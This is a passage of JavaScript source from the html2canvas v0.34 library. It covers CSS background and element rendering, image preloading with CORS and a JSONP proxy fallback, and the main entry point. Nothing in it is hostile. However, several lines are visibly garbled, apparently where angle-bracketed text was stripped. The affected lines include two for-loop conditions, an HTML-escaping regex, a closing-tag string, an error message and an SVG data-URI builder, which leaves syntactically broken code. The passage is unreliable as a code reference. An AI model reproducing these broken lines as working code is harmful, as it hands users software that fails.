1556 |
1557 |
1558 | bgp.left = bgp.left-Math.ceil(bgp.left/image.width)*image.width;
1559 |
1560 |
1561 | for (bgx=(x+bgp.left);bgxw+x){
1564 | width = (w+x)-bgx;
1565 | }else{
1566 | width = image.width;
1567 | }
1568 |
1569 | renderBackgroundRepeat(ctx,image,bgx,(y+bgp.top),width,height,x,y);
1570 |
1571 | bgx = Math.floor(bgx+image.width);
1572 |
1573 |
1574 | }
1575 | }
1576 |
1577 | function renderBackground(el,bounds,ctx){
1578 |
1579 | // TODO add support for multi background-images
1580 | var background_image = getCSS(el, "backgroundImage"),
1581 | background_repeat = getCSS(el, "backgroundRepeat").split(",")[0],
1582 | image,
1583 | bgp,
1584 | bgy,
1585 | bgw,
1586 | bgsx,
1587 | bgsy,
1588 | bgdx,
1589 | bgdy,
1590 | bgh,
1591 | h,
1592 | height,
1593 | add;
1594 |
1595 | // if (typeof background_image !== "undefined" && /^(1|none)$/.test(background_image) === false && /^(-webkit|-moz|linear-gradient|-o-)/.test(background_image)===false){
1596 |
1597 | if ( !/data:image\/.*;base64,/i.test(background_image) && !/^(-webkit|-moz|linear-gradient|-o-)/.test(background_image) ) {
1598 | background_image = background_image.split(",")[0];
1599 | }
1600 |
1601 | if ( typeof background_image !== "undefined" && /^(1|none)$/.test( background_image ) === false ) {
1602 | background_image = _html2canvas.Util.backgroundImage( background_image );
1603 | image = loadImage( background_image );
1604 |
1605 |
1606 | bgp = _html2canvas.Util.BackgroundPosition(el, bounds, image);
1607 |
1608 | // TODO add support for background-origin
1609 | if ( image ){
1610 | switch ( background_repeat ) {
1611 |
1612 | case "repeat-x":
1613 | renderBackgroundRepeatX( ctx, image, bgp, bounds.left, bounds.top, bounds.width, bounds.height );
1614 | break;
1615 |
1616 | case "repeat-y":
1617 | renderBackgroundRepeatY( ctx, image, bgp, bounds.left, bounds.top, bounds.width, bounds.height );
1618 | break;
1619 |
1620 | case "no-repeat":
1621 | /*
1622 | this.drawBackgroundRepeat(
1623 | ctx,
1624 | image,
1625 | bgp.left+bounds.left, // sx
1626 | bgp.top+bounds.top, // sy
1627 | Math.min(bounds.width,image.width),
1628 | Math.min(bounds.height,image.height),
1629 | bounds.left,
1630 | bounds.top
1631 | );*/
1632 |
1633 |
1634 |
1635 | bgw = bounds.width - bgp.left;
1636 | bgh = bounds.height - bgp.top;
1637 | bgsx = bgp.left;
1638 | bgsy = bgp.top;
1639 | bgdx = bgp.left+bounds.left;
1640 | bgdy = bgp.top+bounds.top;
1641 |
1642 | //
1643 | // bgw = Math.min(bgw,image.width);
1644 | // bgh = Math.min(bgh,image.height);
1645 |
1646 | if (bgsx<0){
1647 | bgsx = Math.abs(bgsx);
1648 | bgdx += bgsx;
1649 | bgw = Math.min(bounds.width,image.width-bgsx);
1650 | }else{
1651 | bgw = Math.min(bgw,image.width);
1652 | bgsx = 0;
1653 | }
1654 |
1655 | if (bgsy<0){
1656 | bgsy = Math.abs(bgsy);
1657 | bgdy += bgsy;
1658 | // bgh = bgh-bgsy;
1659 | bgh = Math.min(bounds.height,image.height-bgsy);
1660 | }else{
1661 | bgh = Math.min(bgh,image.height);
1662 | bgsy = 0;
1663 | }
1664 |
1665 |
1666 | if (bgh>0 && bgw > 0){
1667 | renderImage(
1668 | ctx,
1669 | image,
1670 | bgsx, // source X : 0
1671 | bgsy, // source Y : 1695
1672 | bgw, // source Width : 18
1673 | bgh, // source Height : 1677
1674 | bgdx, // destination X :906
1675 | bgdy, // destination Y : 1020
1676 | bgw, // destination width : 18
1677 | bgh // destination height : 1677
1678 | );
1679 |
1680 | }
1681 | break;
1682 | default:
1683 |
1684 |
1685 |
1686 | bgp.top = bgp.top-Math.ceil(bgp.top/image.height)*image.height;
1687 |
1688 |
1689 | for(bgy=(bounds.top+bgp.top);bgyh+bgy){
1697 | height = (h+bgy)-bgy;
1698 | }else{
1699 | height = image.height;
1700 | }
1701 | // console.log(height);
1702 |
1703 | if (bgy0){
1713 | bgp.top += add;
1714 | }
1715 | bgy = Math.floor(bgy+image.height)-add;
1716 | }
1717 | break;
1718 |
1719 |
1720 | }
1721 | }else{
1722 | h2clog("html2canvas: Error loading background:" + background_image);
1723 | //console.log(images);
1724 | }
1725 |
1726 | }
1727 | }
1728 |
1729 |
1730 |
1731 | function renderElement(el, parentStack){
1732 |
1733 | var bounds = _html2canvas.Util.Bounds(el),
1734 | x = bounds.left,
1735 | y = bounds.top,
1736 | w = bounds.width,
1737 | h = bounds.height,
1738 | image,
1739 | bgcolor = getCSS(el, "backgroundColor"),
1740 | cssPosition = getCSS(el, "position"),
1741 | zindex,
1742 | opacity = getCSS(el, "opacity"),
1743 | stack,
1744 | stackLength,
1745 | borders,
1746 | ctx,
1747 | bgbounds,
1748 | imgSrc,
1749 | paddingLeft,
1750 | paddingTop,
1751 | paddingRight,
1752 | paddingBottom;
1753 |
1754 | if (!parentStack){
1755 | docDim = docSize();
1756 | parentStack = {
1757 | opacity: 1
1758 | };
1759 | }else{
1760 | docDim = {};
1761 | }
1762 |
1763 |
1764 | //var zindex = this.formatZ(this.getCSS(el,"zIndex"),cssPosition,parentStack.zIndex,el.parentNode);
1765 |
1766 | zindex = setZ( getCSS( el, "zIndex"), parentStack.zIndex );
1767 |
1768 |
1769 |
1770 | stack = {
1771 | ctx: h2cRenderContext( docDim.width || w , docDim.height || h ),
1772 | zIndex: zindex,
1773 | opacity: opacity * parentStack.opacity,
1774 | cssPosition: cssPosition
1775 | };
1776 |
1777 |
1778 |
1779 | // TODO correct overflow for absolute content residing under a static position
1780 |
1781 | if (parentStack.clip){
1782 | stack.clip = _html2canvas.Util.Extend( {}, parentStack.clip );
1783 | //stack.clip = parentStack.clip;
1784 | // stack.clip.height = stack.clip.height - parentStack.borders[2].width;
1785 | }
1786 |
1787 |
1788 | if ( options.useOverflow === true && /(hidden|scroll|auto)/.test(getCSS(el, "overflow")) === true && /(BODY)/i.test(el.nodeName) === false ){
1789 | if (stack.clip){
1790 | stack.clip = clipBounds(stack.clip, bounds);
1791 | }else{
1792 | stack.clip = bounds;
1793 | }
1794 | }
1795 |
1796 |
1797 | stackLength = zindex.children.push(stack);
1798 |
1799 | ctx = zindex.children[stackLength-1].ctx;
1800 |
1801 | ctx.setVariable("globalAlpha", stack.opacity);
1802 |
1803 | // draw element borders
1804 | borders = renderBorders(el, ctx, bounds, false);
1805 | stack.borders = borders;
1806 |
1807 |
1808 | // let's modify clip area for child elements, so borders dont get overwritten
1809 |
1810 | /*
1811 | if (stack.clip){
1812 | stack.clip.width = stack.clip.width-(borders[1].width);
1813 | stack.clip.height = stack.clip.height-(borders[2].width);
1814 | }
1815 | */
1816 | if (ignoreElementsRegExp.test(el.nodeName) && options.iframeDefault !== "transparent"){
1817 | if (options.iframeDefault === "default"){
1818 | bgcolor = "#efefef";
1819 | }else{
1820 | bgcolor = options.iframeDefault;
1821 | }
1822 | }
1823 |
1824 | // draw base element bgcolor
1825 |
1826 | bgbounds = {
1827 | left: x + borders[3].width,
1828 | top: y + borders[0].width,
1829 | width: w - (borders[1].width + borders[3].width),
1830 | height: h - (borders[0].width + borders[2].width)
1831 | };
1832 |
1833 | //if (this.withinBounds(stack.clip,bgbounds)){
1834 |
1835 | if (stack.clip){
1836 | bgbounds = clipBounds(bgbounds, stack.clip);
1837 |
1838 | //}
1839 |
1840 | }
1841 |
1842 |
1843 | if (bgbounds.height > 0 && bgbounds.width > 0){
1844 | renderRect(
1845 | ctx,
1846 | bgbounds.left,
1847 | bgbounds.top,
1848 | bgbounds.width,
1849 | bgbounds.height,
1850 | bgcolor
1851 | );
1852 |
1853 | renderBackground(el, bgbounds, ctx);
1854 | }
1855 |
1856 | switch(el.nodeName){
1857 | case "IMG":
1858 | imgSrc = el.getAttribute('src');
1859 | image = loadImage(imgSrc);
1860 | if (image){
1861 |
1862 | paddingLeft = getCSSInt(el, 'paddingLeft');
1863 | paddingTop = getCSSInt(el, 'paddingTop');
1864 | paddingRight = getCSSInt(el, 'paddingRight');
1865 | paddingBottom = getCSSInt(el, 'paddingBottom');
1866 |
1867 |
1868 | renderImage(
1869 | ctx,
1870 | image,
1871 | 0, //sx
1872 | 0, //sy
1873 | image.width, //sw
1874 | image.height, //sh
1875 | x + paddingLeft + borders[3].width, //dx
1876 | y + paddingTop + borders[0].width, // dy
1877 | bounds.width - (borders[1].width + borders[3].width + paddingLeft + paddingRight), //dw
1878 | bounds.height - (borders[0].width + borders[2].width + paddingTop + paddingBottom) //dh
1879 | );
1880 |
1881 | }else{
1882 | h2clog("html2canvas: Error loading
:" + imgSrc);
1883 | }
1884 | break;
1885 | case "INPUT":
1886 | // TODO add all relevant type's, i.e. HTML5 new stuff
1887 | // todo add support for placeholder attribute for browsers which support it
1888 | if (/^(text|url|email|submit|button|reset)$/.test(el.type) && el.value.length > 0){
1889 |
1890 | renderFormValue(el, bounds, stack);
1891 |
1892 |
1893 | /*
1894 | this just doesn't work well enough
1895 |
1896 | this.newText(el,{
1897 | nodeValue:el.value,
1898 | splitText: function(){
1899 | return this;
1900 | },
1901 | formValue:true
1902 | },stack);
1903 | */
1904 | }
1905 | break;
1906 | case "TEXTAREA":
1907 | if (el.value.length > 0){
1908 | renderFormValue(el, bounds, stack);
1909 | }
1910 | break;
1911 | case "SELECT":
1912 | if (el.options.length > 0){
1913 | renderFormValue(el, bounds, stack);
1914 | }
1915 | break;
1916 | case "LI":
1917 | renderListItem(el, stack, bgbounds);
1918 | break;
1919 | case "CANVAS":
1920 | paddingLeft = getCSSInt(el, 'paddingLeft');
1921 | paddingTop = getCSSInt(el, 'paddingTop');
1922 | paddingRight = getCSSInt(el, 'paddingRight');
1923 | paddingBottom = getCSSInt(el, 'paddingBottom');
1924 | renderImage(
1925 | ctx,
1926 | el,
1927 | 0, //sx
1928 | 0, //sy
1929 | el.width, //sw
1930 | el.height, //sh
1931 | x + paddingLeft + borders[3].width, //dx
1932 | y + paddingTop + borders[0].width, // dy
1933 | bounds.width - (borders[1].width + borders[3].width + paddingLeft + paddingRight), //dw
1934 | bounds.height - (borders[0].width + borders[2].width + paddingTop + paddingBottom) //dh
1935 | );
1936 | break;
1937 | }
1938 |
1939 | return zindex.children[stackLength - 1];
1940 | }
1941 |
1942 |
1943 |
1944 | function parseElement (el, stack) {
1945 |
1946 | // skip hidden elements and their children
1947 | if (getCSS(el, 'display') !== "none" && getCSS(el, 'visibility') !== "hidden") {
1948 |
1949 | stack = renderElement(el, stack) || stack;
1950 |
1951 | ctx = stack.ctx;
1952 |
1953 | if ( !ignoreElementsRegExp.test( el.nodeName ) ) {
1954 | var elementChildren = _html2canvas.Util.Children( el ),
1955 | i,
1956 | node,
1957 | childrenLen;
1958 | for (i = 0, childrenLen = elementChildren.length; i < childrenLen; i+=1) {
1959 | node = elementChildren[i];
1960 |
1961 | if ( node.nodeType === 1 ) {
1962 | parseElement(node, stack);
1963 | }else if ( node.nodeType === 3 ) {
1964 | renderText(el, node, stack);
1965 | }
1966 |
1967 | }
1968 |
1969 | }
1970 | }
1971 | }
1972 |
1973 | stack = renderElement(element, null);
1974 |
1975 | /*
1976 | SVG powered HTML rendering, non-tainted canvas available from FF 11+ onwards
1977 | */
1978 |
1979 | if ( support.svgRendering ) {
1980 | (function( body ){
1981 | var img = new Image(),
1982 | size = docSize(),
1983 | html = "";
1984 |
1985 | function parseDOM( el ) {
1986 | var children = _html2canvas.Util.Children( el ),
1987 | len = children.length,
1988 | attr,
1989 | a,
1990 | alen,
1991 | elm,
1992 | i;
1993 | for ( i = 0; i < len; i+=1 ) {
1994 | elm = children[ i ];
1995 | if ( elm.nodeType === 3 ) {
1996 | // Text node
1997 |
1998 | html += elm.nodeValue.replace(/\/g,">");
1999 | } else if ( elm.nodeType === 1 ) {
2000 | // Element
2001 | if ( !/^(script|meta|title)$/.test(elm.nodeName.toLowerCase()) ) {
2002 |
2003 | html += "<" + elm.nodeName.toLowerCase();
2004 |
2005 | // add attributes
2006 | if ( elm.hasAttributes() ) {
2007 | attr = elm.attributes;
2008 | alen = attr.length;
2009 | for ( a = 0; a < alen; a+=1 ) {
2010 | html += " " + attr[ a ].name + '="' + attr[ a ].value + '"';
2011 | }
2012 | }
2013 |
2014 |
2015 | html += '>';
2016 |
2017 | parseDOM( elm );
2018 |
2019 |
2020 | html += "" + elm.nodeName.toLowerCase() + ">";
2021 | }
2022 | }
2023 |
2024 | }
2025 |
2026 | }
2027 |
2028 | parseDOM( body );
2029 | img.src = [
2030 | "data:image/svg+xml,",
2031 | ""
2038 | ].join("");
2039 |
2040 |
2041 |
2042 |
2043 | img.onload = function() {
2044 | stack.svgRender = img;
2045 | };
2046 |
2047 | })( document.documentElement );
2048 |
2049 | }
2050 |
2051 |
2052 | // parse every child element
2053 | for (i = 0, children = element.children, childrenLen = children.length; i < childrenLen; i+=1){
2054 | parseElement(children[i], stack);
2055 | }
2056 |
2057 |
2058 | stack.backgroundColor = getCSS( document.documentElement, "backgroundColor" );
2059 |
2060 | return stack;
2061 |
2062 | };
2063 |
2064 | function h2czContext(zindex) {
2065 | return {
2066 | zindex: zindex,
2067 | children: []
2068 | };
2069 | }
2070 |
2071 | /*
2072 | html2canvas v0.34
2073 | Copyright (c) 2011 Niklas von Hertzen. All rights reserved.
2074 | http://www.twitter.com/niklasvh
2075 |
2076 | Released under MIT License
2077 | */
2078 |
2079 | _html2canvas.Preload = function( options ) {
2080 |
2081 | var images = {
2082 | numLoaded: 0, // also failed are counted here
2083 | numFailed: 0,
2084 | numTotal: 0,
2085 | cleanupDone: false
2086 | },
2087 | pageOrigin,
2088 | methods,
2089 | i,
2090 | count = 0,
2091 | element = options.elements[0] || document.body,
2092 | doc = element.ownerDocument,
2093 | domImages = doc.images, // TODO probably should limit it to images present in the element only
2094 | imgLen = domImages.length,
2095 | link = doc.createElement("a"),
2096 | supportCORS = (function( img ){
2097 | return (img.crossOrigin !== undefined);
2098 | })(new Image()),
2099 | timeoutTimer;
2100 |
2101 | link.href = window.location.href;
2102 | pageOrigin = link.protocol + link.host;
2103 |
2104 |
2105 |
2106 |
2107 |
2108 |
2109 | function isSameOrigin(url){
2110 | link.href = url;
2111 | link.href = link.href; // YES, BELIEVE IT OR NOT, that is required for IE9 - http://jsfiddle.net/niklasvh/2e48b/
2112 | var origin = link.protocol + link.host;
2113 | return (origin === pageOrigin);
2114 | }
2115 |
2116 | function start(){
2117 | h2clog("html2canvas: start: images: " + images.numLoaded + " / " + images.numTotal + " (failed: " + images.numFailed + ")");
2118 | if (!images.firstRun && images.numLoaded >= images.numTotal){
2119 | h2clog("Finished loading images: # " + images.numTotal + " (failed: " + images.numFailed + ")");
2120 |
2121 | if (typeof options.complete === "function"){
2122 | options.complete(images);
2123 | }
2124 |
2125 | }
2126 | }
2127 |
2128 | // TODO modify proxy to serve images with CORS enabled, where available
2129 | function proxyGetImage(url, img, imageObj){
2130 | var callback_name,
2131 | scriptUrl = options.proxy,
2132 | script;
2133 |
2134 | link.href = url;
2135 | url = link.href; // work around for pages with base href="" set - WARNING: this may change the url
2136 |
2137 | callback_name = 'html2canvas_' + (count++);
2138 | imageObj.callbackname = callback_name;
2139 |
2140 | if (scriptUrl.indexOf("?") > -1) {
2141 | scriptUrl += "&";
2142 | } else {
2143 | scriptUrl += "?";
2144 | }
2145 | scriptUrl += 'url=' + encodeURIComponent(url) + '&callback=' + callback_name;
2146 | script = doc.createElement("script");
2147 |
2148 | window[callback_name] = function(a){
2149 | if (a.substring(0,6) === "error:"){
2150 | imageObj.succeeded = false;
2151 | images.numLoaded++;
2152 | images.numFailed++;
2153 | start();
2154 | } else {
2155 | setImageLoadHandlers(img, imageObj);
2156 | img.src = a;
2157 | }
2158 | window[callback_name] = undefined; // to work with IE<9 // NOTE: that the undefined callback property-name still exists on the window object (for IE<9)
2159 | try {
2160 | delete window[callback_name]; // for all browser that support this
2161 | } catch(ex) {}
2162 | script.parentNode.removeChild(script);
2163 | script = null;
2164 | delete imageObj.script;
2165 | delete imageObj.callbackname;
2166 | };
2167 |
2168 | script.setAttribute("type", "text/javascript");
2169 | script.setAttribute("src", scriptUrl);
2170 | imageObj.script = script;
2171 | window.document.body.appendChild(script);
2172 |
2173 | }
2174 |
2175 | function getImages (el) {
2176 |
2177 |
2178 |
2179 | // if (!this.ignoreRe.test(el.nodeName)){
2180 | //
2181 |
2182 | var contents = _html2canvas.Util.Children(el),
2183 | i,
2184 | background_image,
2185 | src,
2186 | img,
2187 | elNodeType = false;
2188 |
2189 | // Firefox fails with permission denied on pages with iframes
2190 | try {
2191 | var contentsLen = contents.length;
2192 | for (i = 0; i < contentsLen; i+=1 ){
2193 | // var ignRe = new RegExp("("+this.ignoreElements+")");
2194 | // if (!ignRe.test(element.nodeName)){
2195 | getImages(contents[i]);
2196 | // }
2197 | }
2198 | }
2199 | catch( e ) {}
2200 |
2201 |
2202 | // }
2203 | try {
2204 | elNodeType = el.nodeType;
2205 | } catch (ex) {
2206 | elNodeType = false;
2207 | h2clog("html2canvas: failed to access some element's nodeType - Exception: " + ex.message);
2208 | }
2209 |
2210 | if (elNodeType === 1 || elNodeType === undefined){
2211 |
2212 | // opera throws exception on external-content.html
2213 | try {
2214 | background_image = _html2canvas.Util.getCSS(el, 'backgroundImage');
2215 | }catch(e) {
2216 | h2clog("html2canvas: failed to get background-image - Exception: " + e.message);
2217 | }
2218 | if ( background_image && background_image !== "1" && background_image !== "none" ) {
2219 |
2220 | // TODO add multi image background support
2221 |
2222 | if (/^(-webkit|-o|-moz|-ms|linear)-/.test( background_image )) {
2223 |
2224 | img = _html2canvas.Generate.Gradient( background_image, _html2canvas.Util.Bounds( el ) );
2225 |
2226 | if ( img !== undefined ){
2227 | images[background_image] = {
2228 | img: img,
2229 | succeeded: true
2230 | };
2231 | images.numTotal++;
2232 | images.numLoaded++;
2233 | start();
2234 |
2235 | }
2236 |
2237 | } else {
2238 | src = _html2canvas.Util.backgroundImage(background_image.match(/data:image\/.*;base64,/i) ? background_image : background_image.split(",")[0]);
2239 | methods.loadImage(src);
2240 | }
2241 |
2242 | /*
2243 | if (background_image && background_image !== "1" && background_image !== "none" && background_image.substring(0,7) !== "-webkit" && background_image.substring(0,3)!== "-o-" && background_image.substring(0,4) !== "-moz"){
2244 | // TODO add multi image background support
2245 | src = _html2canvas.Util.backgroundImage(background_image.split(",")[0]);
2246 | methods.loadImage(src); */
2247 | }
2248 | }
2249 | }
2250 |
2251 | function setImageLoadHandlers(img, imageObj) {
2252 | img.onload = function() {
2253 | if ( imageObj.timer !== undefined ) {
2254 | // CORS succeeded
2255 | window.clearTimeout( imageObj.timer );
2256 | }
2257 |
2258 | images.numLoaded++;
2259 | imageObj.succeeded = true;
2260 | img.onerror = img.onload = null;
2261 | start();
2262 | };
2263 | img.onerror = function() {
2264 |
2265 | if (img.crossOrigin === "anonymous") {
2266 | // CORS failed
2267 | window.clearTimeout( imageObj.timer );
2268 |
2269 | // let's try with proxy instead
2270 | if ( options.proxy ) {
2271 | var src = img.src;
2272 | img = new Image();
2273 | imageObj.img = img;
2274 | img.src = src;
2275 |
2276 | proxyGetImage( img.src, img, imageObj );
2277 | return;
2278 | }
2279 | }
2280 |
2281 |
2282 | images.numLoaded++;
2283 | images.numFailed++;
2284 | imageObj.succeeded = false;
2285 | img.onerror = img.onload = null;
2286 | start();
2287 |
2288 | };
2289 |
2290 | // TODO Opera has no load/error event for SVG images
2291 |
2292 | // Opera ninja onload's cached images
2293 | /*
2294 | window.setTimeout(function(){
2295 | if ( img.width !== 0 && imageObj.succeeded === undefined ) {
2296 | img.onload();
2297 | }
2298 | }, 100); // needs a reflow for base64 encoded images? interestingly timeout of 0 doesn't work but 1 does.
2299 | */
2300 | }
2301 |
2302 |
2303 | methods = {
2304 | loadImage: function( src ) {
2305 | var img, imageObj;
2306 | if ( src && images[src] === undefined ) {
2307 | img = new Image();
2308 | if ( src.match(/data:image\/.*;base64,/i) ) {
2309 | img.src = src.replace(/url\(['"]{0,}|['"]{0,}\)$/ig, '');
2310 | imageObj = images[src] = {
2311 | img: img
2312 | };
2313 | images.numTotal++;
2314 | setImageLoadHandlers(img, imageObj);
2315 | } else if ( isSameOrigin( src ) || options.allowTaint === true ) {
2316 | imageObj = images[src] = {
2317 | img: img
2318 | };
2319 | images.numTotal++;
2320 | setImageLoadHandlers(img, imageObj);
2321 | img.src = src;
2322 | } else if ( supportCORS && !options.allowTaint && options.useCORS ) {
2323 | // attempt to load with CORS
2324 |
2325 | img.crossOrigin = "anonymous";
2326 | imageObj = images[src] = {
2327 | img: img
2328 | };
2329 | images.numTotal++;
2330 | setImageLoadHandlers(img, imageObj);
2331 | img.src = src;
2332 |
2333 | // work around for https://bugs.webkit.org/show_bug.cgi?id=80028
2334 | img.customComplete = function () {
2335 | if (!this.img.complete) {
2336 | this.timer = window.setTimeout(this.img.customComplete, 100);
2337 | } else {
2338 | this.img.onerror();
2339 | }
2340 | }.bind(imageObj);
2341 | img.customComplete();
2342 |
2343 | } else if ( options.proxy ) {
2344 | imageObj = images[src] = {
2345 | img: img
2346 | };
2347 | images.numTotal++;
2348 | proxyGetImage( src, img, imageObj );
2349 | }
2350 | }
2351 |
2352 | },
2353 | cleanupDOM: function(cause) {
2354 | var img, src;
2355 | if (!images.cleanupDone) {
2356 | if (cause && typeof cause === "string") {
2357 | h2clog("html2canvas: Cleanup because: " + cause);
2358 | } else {
2359 | h2clog("html2canvas: Cleanup after timeout: " + options.timeout + " ms.");
2360 | }
2361 |
2362 | for (src in images) {
2363 | if (images.hasOwnProperty(src)) {
2364 | img = images[src];
2365 | if (typeof img === "object" && img.callbackname && img.succeeded === undefined) {
2366 | // cancel proxy image request
2367 | window[img.callbackname] = undefined; // to work with IE<9 // NOTE: that the undefined callback property-name still exists on the window object (for IE<9)
2368 | try {
2369 | delete window[img.callbackname]; // for all browser that support this
2370 | } catch(ex) {}
2371 | if (img.script && img.script.parentNode) {
2372 | img.script.setAttribute("src", "about:blank"); // try to cancel running request
2373 | img.script.parentNode.removeChild(img.script);
2374 | }
2375 | images.numLoaded++;
2376 | images.numFailed++;
2377 | h2clog("html2canvas: Cleaned up failed img: '" + src + "' Steps: " + images.numLoaded + " / " + images.numTotal);
2378 | }
2379 | }
2380 | }
2381 |
2382 | // cancel any pending requests
2383 | if(window.stop !== undefined) {
2384 | window.stop();
2385 | } else if(document.execCommand !== undefined) {
2386 | document.execCommand("Stop", false);
2387 | }
2388 | if (document.close !== undefined) {
2389 | document.close();
2390 | }
2391 | images.cleanupDone = true;
2392 | if (!(cause && typeof cause === "string")) {
2393 | start();
2394 | }
2395 | }
2396 | },
2397 | renderingDone: function() {
2398 | if (timeoutTimer) {
2399 | window.clearTimeout(timeoutTimer);
2400 | }
2401 | }
2402 |
2403 | };
2404 |
2405 | if (options.timeout > 0) {
2406 | timeoutTimer = window.setTimeout(methods.cleanupDOM, options.timeout);
2407 | }
2408 | h2clog('html2canvas: Preload starts: finding background-images');
2409 | images.firstRun = true;
2410 |
2411 | getImages( element );
2412 |
2413 | h2clog('html2canvas: Preload: Finding images');
2414 | // load
images
2415 | for (i = 0; i < imgLen; i+=1){
2416 | methods.loadImage( domImages[i].getAttribute( "src" ) );
2417 | }
2418 |
2419 | images.firstRun = false;
2420 | h2clog('html2canvas: Preload: Done.');
2421 | if ( images.numTotal === images.numLoaded ) {
2422 | start();
2423 | }
2424 |
2425 | return methods;
2426 |
2427 | };
2428 |
2429 |
2430 |
2431 |
2432 | /*
2433 | html2canvas v0.34
2434 | Copyright (c) 2011 Niklas von Hertzen. All rights reserved.
2435 | http://www.twitter.com/niklasvh
2436 |
2437 | Released under MIT License
2438 | */
2439 | function h2cRenderContext(width, height) {
2440 | var storage = [];
2441 | return {
2442 | storage: storage,
2443 | width: width,
2444 | height: height,
2445 | fillRect: function () {
2446 | storage.push({
2447 | type: "function",
2448 | name: "fillRect",
2449 | 'arguments': arguments
2450 | });
2451 | },
2452 | drawImage: function () {
2453 | storage.push({
2454 | type: "function",
2455 | name: "drawImage",
2456 | 'arguments': arguments
2457 | });
2458 | },
2459 | fillText: function () {
2460 | storage.push({
2461 | type: "function",
2462 | name: "fillText",
2463 | 'arguments': arguments
2464 | });
2465 | },
2466 | setVariable: function (variable, value) {
2467 | storage.push({
2468 | type: "variable",
2469 | name: variable,
2470 | 'arguments': value
2471 | });
2472 | }
2473 | };
2474 | }
2475 |
2476 | /*
2477 | html2canvas v0.34
2478 | Copyright (c) 2011 Niklas von Hertzen. All rights reserved.
2479 | http://www.twitter.com/niklasvh
2480 |
2481 | Released under MIT License
2482 | */
2483 | _html2canvas.Renderer = function(parseQueue, options){
2484 |
2485 |
2486 | var queue = [];
2487 |
2488 | function sortZ(zStack){
2489 | var subStacks = [],
2490 | stackValues = [],
2491 | zStackChildren = zStack.children,
2492 | s,
2493 | i,
2494 | stackLen,
2495 | zValue,
2496 | zLen,
2497 | stackChild,
2498 | b,
2499 | subStackLen;
2500 |
2501 |
2502 | for (s = 0, zLen = zStackChildren.length; s < zLen; s+=1){
2503 |
2504 | stackChild = zStackChildren[s];
2505 |
2506 | if (stackChild.children && stackChild.children.length > 0){
2507 | subStacks.push(stackChild);
2508 | stackValues.push(stackChild.zindex);
2509 | }else{
2510 | queue.push(stackChild);
2511 | }
2512 |
2513 | }
2514 |
2515 | stackValues.sort(function(a, b) {
2516 | return a - b;
2517 | });
2518 |
2519 | for (i = 0, stackLen = stackValues.length; i < stackLen; i+=1){
2520 | zValue = stackValues[i];
2521 | for (b = 0, subStackLen = subStacks.length; b <= subStackLen; b+=1){
2522 |
2523 | if (subStacks[b].zindex === zValue){
2524 | stackChild = subStacks.splice(b, 1);
2525 | sortZ(stackChild[0]);
2526 | break;
2527 |
2528 | }
2529 | }
2530 | }
2531 |
2532 | }
2533 |
2534 |
2535 | sortZ(parseQueue.zIndex);
2536 | if ( typeof options._renderer._create !== "function" ) {
2537 | throw new Error("Invalid renderer defined");
2538 | }
2539 | return options._renderer._create( parseQueue, options, document, queue, _html2canvas );
2540 |
2541 | };
2542 |
2543 | /*
2544 | html2canvas v0.34
2545 | Copyright (c) 2011 Niklas von Hertzen. All rights reserved.
2546 | http://www.twitter.com/niklasvh
2547 |
2548 | Released under MIT License
2549 | */
2550 |
2551 |
2552 | html2canvas = function( elements, opts ) {
2553 |
2554 | var queue,
2555 | canvas,
2556 | options = {
2557 | // general
2558 | logging: false,
2559 | elements: elements,
2560 |
2561 | // preload options
2562 | proxy: "http://html2canvas.appspot.com/",
2563 | timeout: 0, // no timeout
2564 | useCORS: false, // try to load images as CORS (where available), before falling back to proxy
2565 | allowTaint: false, // whether to allow images to taint the canvas, won't need proxy if set to true
2566 |
2567 | // parse options
2568 | svgRendering: false, // use svg powered rendering where available (FF11+)
2569 | iframeDefault: "default",
2570 | ignoreElements: "IFRAME|OBJECT|PARAM",
2571 | useOverflow: true,
2572 | letterRendering: false,
2573 |
2574 | // render options
2575 |
2576 | flashcanvas: undefined, // path to flashcanvas
2577 | width: null,
2578 | height: null,
2579 | taintTest: true, // do a taint test with all images before applying to canvas
2580 | renderer: "Canvas"
2581 | }, renderer;
2582 |
2583 | options = _html2canvas.Util.Extend(opts, options);
2584 |
2585 | if (typeof options.renderer === "string" && _html2canvas.Renderer[options.renderer] !== undefined) {
2586 | options._renderer = _html2canvas.Renderer[options.renderer]( options );
2587 | } else if (typeof options.renderer === "function") {
2588 | options._renderer = options.renderer( options );
2589 | } else {
2590 | throw("Unknown renderer");
2591 | }
2592 |
2593 | _html2canvas.logging = options.logging;
2594 | options.complete = function( images ) {
2595 |
2596 | if (typeof options.onpreloaded === "function") {
2597 | if ( options.onpreloaded( images ) === false ) {
2598 | return;
2599 | }
2600 | }
2601 | queue = _html2canvas.Parse( images, options );
2602 |
2603 | if (typeof options.onparsed === "function") {
2604 | if ( options.onparsed( queue ) === false ) {
2605 | return;
2606 | }
2607 | }
2608 |
2609 | canvas = _html2canvas.Renderer( queue, options );
2610 |
2611 | if (typeof options.onrendered === "function") {
2612 | options.onrendered( canvas );
2613 | }
2614 |
2615 |
2616 | };
2617 |
2618 | // for pages without images, we still want this to be async, i.e. return methods before executing
2619 | window.setTimeout( function(){
2620 | _html2canvas.Preload( options );
2621 | }, 0 );
2622 |
2623 | return {
2624 | render: function( queue, opts ) {
2625 | return _html2canvas.Renderer( queue, _html2canvas.Util.Extend(opts, options) );
2626 | },
2627 | parse: function( images, opts ) {
2628 | return _html2canvas.Parse( images, _html2canvas.Util.Extend(opts, options) );
2629 | },
2630 | preload: function( opts ) {
2631 | return _html2canvas.Preload( _html2canvas.Util.Extend(opts, options) );
2632 | },
2633 | log: h2clog
2634 | };
2635 | };
2636 |
2637 | html2canvas.log = h2clog; // for renderers
2638 | html2canvas.Renderer = {
2639 | Canvas: undefined // We are assuming this will be used
2640 | };
2641 |
2642 | /*
2643 | html2canvas v0.34
2644 | Copyright (c) 2011 Niklas von Hertzen. All rights reserved.
2645 | http://www.twitter.com/niklasvh
2646 |
2647 | Released under MIT License
2648 | */
2649 |
2650 |
2651 | _html2canvas.Renderer.Canvas = function( options ) {
2652 |
2653 | options = options || {};
2654 |
2655 | var doc = document,
2656 | canvas = options.canvas || doc.createElement('canvas'),
2657 | usingFlashcanvas = false,
2658 | _createCalled = false,
2659 | canvasReadyToDraw = false,
2660 | methods,
2661 | flashMaxSize = 2880; // flash bitmap limited to 2880x2880px // http://stackoverflow.com/questions/2033792/argumenterror-error-2015-invalid-bitmapdata
2662 |
2663 |
2664 | if (canvas.getContext){
2665 | h2clog("html2canvas: Renderer: using canvas renderer");
2666 | canvasReadyToDraw = true;
2667 | } else if ( options.flashcanvas !== undefined ){
2668 | usingFlashcanvas = true;
